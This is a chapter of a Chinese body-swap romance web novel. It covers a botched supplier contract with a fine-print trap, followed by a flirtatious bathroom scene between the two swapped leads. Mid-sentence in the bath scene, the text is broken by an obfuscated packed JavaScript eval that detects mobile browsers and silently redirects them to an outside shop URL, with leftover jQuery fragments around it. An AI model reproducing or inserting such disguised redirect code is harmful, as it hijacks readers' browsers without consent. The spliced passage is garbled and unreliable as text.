文趣网 > 其他小说 > 不用太正常 > 13. 第十三章
    真正的猫腻,藏在后续附加条款里。

    周鑫翻到合同细则页,语气依旧坦荡无害:“采购量既然已经敲定了,那我们再补一下售后细则,如果发生产品常规质量问题,我们保证包退换。”

    楚一元立刻想起江见深的红线警告,当场果断开口:“不止常规质量,包括生产超额损耗,还有残次品率超标带来的损失,也要由鼎盛承担。”

    这一次,她寸步不让,反应极快。

    和江见深这样心思缜密的人谈生意,周鑫自然准备了多套方案,他笑着说:“江总误会了,残次品我们当然兜底,我们只是界定清楚,常规合理残次率我们负责赔付,超出合理区间的超额损耗,需要贵方盛创自行承担。”

    话术听起来权责分明,公平合理。

    楚一元反复咀嚼两遍,没有发现明显漏洞。

    白纸黑字写着“超出合理区间的超额损耗我方承担”。好像符合原本预期。

    她放下戒备:“可以。”

    周总笑意更深,快速落笔敲定这一条,紧接着火速推进:“那最后一条,违约赔偿对等,我方延期交货赔付五个点,贵方逾期付款也是五个点。”

    楚一元盯着文字确认,没有异议。

    合同全部敲定,双方签字盖章。

    周鑫看着她签完合同,脸上是难以掩饰的笑意,起身握手的时候说:“江总,希望我们能一直合作下去。”

    楚一元也跟着客套了一下:“但愿如此。”

    会谈结束之后,楚一元将签好的合同交到了采购主管手上。

    这是她代表江见深签的第一个合同,说没有紧张那一定是假的,你来我往的对话之间她早就已经汗流浃背了。

    还好套了西装外套,不然一定会露馅。

    “不对。”拿到合同的采购主管皱着眉头,发出了一声疑惑。

    楚一元瞳孔骤缩,后背瞬间发凉。

    难道是合同有什么问题?

    果然,采购主管随手翻到附则最底部,脸色骤然剧变。

    楚一元忽略了最角落的小字陷阱。

    她抢过那份合同,仔细看了一眼那行小字。

    补充附则:合理残次率以供货方鼎盛内部生产标准为准;最低采购量差额,按全额报价补足。

    采购主管小心翼翼地说:“残次品的判定权如果握在供货方手里,那么对方想把多少损耗划为‘合理’,全凭他们说了算,一旦盛创采购不及目标数额,就要全额补足差价。”

    在场的人面面相觑,虽然没有说话,但心底里想什么,楚一元怎么会不知道。

    堂堂江总,怎么会犯这么低级的错误?

    要是对方没良心的话,还不知道要给公司带来多大的损失呢。

    楚一元紧紧握着那份合同,脸色变得无比苍白,她甚至都不敢抬头看周围人的眼睛。

    他们一定在打量她、审视她。

    “江总,我还有报表要赶,我先回去了。”

    “江总,我也还有企划案要做。”

    “江总,我也先走了……”

    如果这件事发生在一个实习生身上,自然会有上司谴责、会有绩效考核。

    可是现在,她自己就是领导。

    领导没有做好,所需要面对的是团队的质疑、是下属的失望。

    到了这个位置上,没人再为她兜底,所有后果,都得由她一力承担。

    如果换作真正的江见深,今天一定能一眼就能看穿小字陷阱,撕破他们的话术伪装,绝对不会掉入他们的圈套。

    只有林助理还没走,他站在一旁小声询问道:“江总,您是不是不太舒服,我看您脸色不太好,要不要去医院看看?”

    楚一元低落地摇了摇头,随后说:“没事,你先去忙吧。”

    林助理关切地看了“江见深”一眼,没有多说什么,微微欠身之后就离开了。

    回到总裁办公室之后,楚一元想了很久,最终还是给江见深发了条消息:“我好像搞砸了……”

    江见深只发了三个字:“怎么了?”

    楚一元敲打手机屏幕的手指像是被灌了铅,她都觉得自己实在没脸说这件事,但她还是要如实阐述,承认错误。

    这是从小到大家里人教给她的处事原则。

    听了楚一元讲述的经过,江见深只是轻飘飘地回复了两个字:“就这点小事?”

    楚一元惊叹:“这算小事吗?你英明神武的形象都要被我毁了。”

    江见深回道:“你每次开董事会的时候都打哆嗦、上晚宴的时候唱广场舞曲、在办公室里天天喝珍珠奶茶,我的形象早就被你毁了。”

    楚一元:“……”

    江见深又道:“你放心吧,还没有哪个公司敢在跟盛创集团合作的时候耍心眼,要是那个周鑫敢以次充好糊弄我,我绝对会让他后悔,今天这件事你就当长个记性,下次注意就好。”

    搞砸这么大额采购合同,他竟然一句责备都没有,楚一元顿时觉得这个人的形象光辉伟岸了起来。

    以前她做错了事最怕挨骂,原本都做好了被责怪的准备,现在突然一下子什么事都没有了,楚一元简直就是如释重负啊。

    她难得拍起了马屁:“江总威武啊!”

    江见深回复道:“那你会因此爱上我吗?”

    这下楚一元不知道该怎么回答了。

    佩服跟爱情是两码事。

    她避重就轻,发了两个装傻的表情包。

    所幸江见深没有揪着这件事不放。

    原本阴翳的心情一扫而光,楚一元又开始奋发图强。

    就像江见深说的,吃一堑、长一智,她下次绝对不能再掉进同一个坑里。

    加完班回到别墅,楚一元已经累得快不行了。

    主要是脑子累,每天都要往脑子里塞那么多的东西,她觉得自己的大脑已经超负荷了。

    张姨把晚饭热好端到餐桌上,楚一元只是选择少量地吃了几口。

    如果是从前的她,劳累了一天回到家,她一定会吃一些碳水炸弹,抚慰一下自己劳累的身体。

    但她现在是江见深,江见深晚饭不会吃那么多。

    吃完饭之后,她拖着沉重的脚步上楼,想要赶紧脱掉西装,洗个热水澡平复糟糕的心情。

    刚推开卧室门,她就听到浴室里传来了水声。

    奇怪,别墅区的安保非常严密,毕竟住在这里要交高昂的物业费,不可能会有奇奇怪怪的人闯进来。

    楚一元放缓了步伐,走到浴室门口,然后小心翼翼地推开门进去。

    门一推开,氤氲温热的水汽扑面而来。

    白茫茫的雾气缭绕整间浴室,磨砂玻璃透着暖黄灯光,看着暧昧无比。

    洁白的浴缸里,躺着顶着她身体的江见深。

    他半靠在浴缸里,温水漫过肩头,黑发湿漉漉贴在额前,褪去了职场冷硬,多了几分温顺柔和。

    楚一元当场愣住,只感觉浑身的血液都涌上了头顶,脸颊瞬间爆红:“江见深!你、你怎么在这里洗澡?”

    浴缸里的人缓缓掀开眼睫,那双属于楚一元的干净眼眸,此刻带着几分慵懒深邃的笑意,他抓起浮在水面上的泡沫,吹向楚一元,语调柔软:“来和

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17965635|214498||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    你培养感情。”

    楚一元脑子直接宕机,甚至涌上了想要掐死江见深的冲动。

    白天才刚说想要跟她结婚,晚上就直接上门脱光衣服要培养感情?

    现在的年轻人都这么快的吗?

    楚一元脸涨得通红,磕磕巴巴地说:“你……你先把衣服穿上再说。”

    江见深想了一下,随后说:“行吧。”

    下一秒,他就直接从浴缸里站了起来。

    楚一元差点当场吐血。

    虽然这副身体已经跟了她二十几年,身上的每一处地方她都再熟悉不过,可是现在站在第三视角,她当然不好意思。

    她立马尖叫着跑出了浴室,还差点在门口摔倒。

    江见深看着她落荒而逃的模样,心想,至于吗?

    江见深披着浴袍走出来的时候,楚一元正双手环胸,气鼓鼓地坐在沙发上,一副要吃人的表情。

    楚一元压低了嗓音问:“你这是搞什么名堂?”

    江见深笑了一下,走到楚一元身边坐下,楚一元立马往边上挪。

    江见深面不改色地说:“我不是已经说了吗,我来找你培养感情啊。”

    楚一元怒发冲冠:“那……那也不是你这样培养的呀!难道你觉得培养感情就是这样……脱……衣服吗?”

    楚一元现在严重怀疑江见深的感情观有问题,这个人是不是很随便啊?他以后会不会用她的身体跟别人乱来?

    楚一元觉得,她得管好他。

    江见深一本正经答:“当然这只是一部分。”

    楚一元无可奈何,咬着唇说:“你不必这样做,咱们之间顺其自然就好了。”

    “还有,我不管你以前的私生活是怎样的,但是我告诉你,你现在用的是我的身体,以后不管你想和谁培养感情,你都不能用我的身体和别人发生关系,你知道了吗?”

    江见深伸手抚摸了一下她的脸颊:“那和你就可以吗?”

    楚一元像是见了鬼似的迅速弹开。

    她感觉自己刚才被他摸过的地方痒痒的。

    她认真道:“也不行!”

    江见深思索了一下:“也不行?难道你喜欢柏拉图?”

    江见深觉得还真有可能,像楚一元这种一看就还没开窍。

    楚一元觉得自己不能再跟他讨论这种事了,于是便转换了一个话题:“江见深,你有没有想过,你现在是女人,如果选择走结婚这条道路,那你就要承担起生育的责任,你愿意生孩子吗?”

    江见深还真没有仔细思考过这个问题。

    相比较起当女人,他当然更愿意当男人。

    每一个男人,都曾经庆幸过自己是个男人。

    他并不是瞧不起女人,他只是觉得当男人更加方便、更强壮、更不受世俗偏见束缚。

    可是没办法,他现在是个女人。

    但他是江见深,他相信自己不管做男做女都将会是同类中的佼佼者。

    江见深思考了一会儿,看着楚一元说:“如果你想要个孩子的话,那我们就生吧。”

    不是单纯想要一个孩子,是江见深知道婚姻必须要用孩子捆绑。

    楚一元——卒!

    最终,江见深在楚一元的软磨硬泡之下,换上了自己的衣服离开。

    走之前,江见深还乘其不备亲了楚一元一口,在她耳边说:“我说要跟你培养感情是认真的,你相信我一次。”

    这辈子还没有人跟楚一元说过这么撩人的话,她觉得自己心跳得厉害,只能别过脸。

    江见深轻轻笑了一声,在司机的护送下回了家。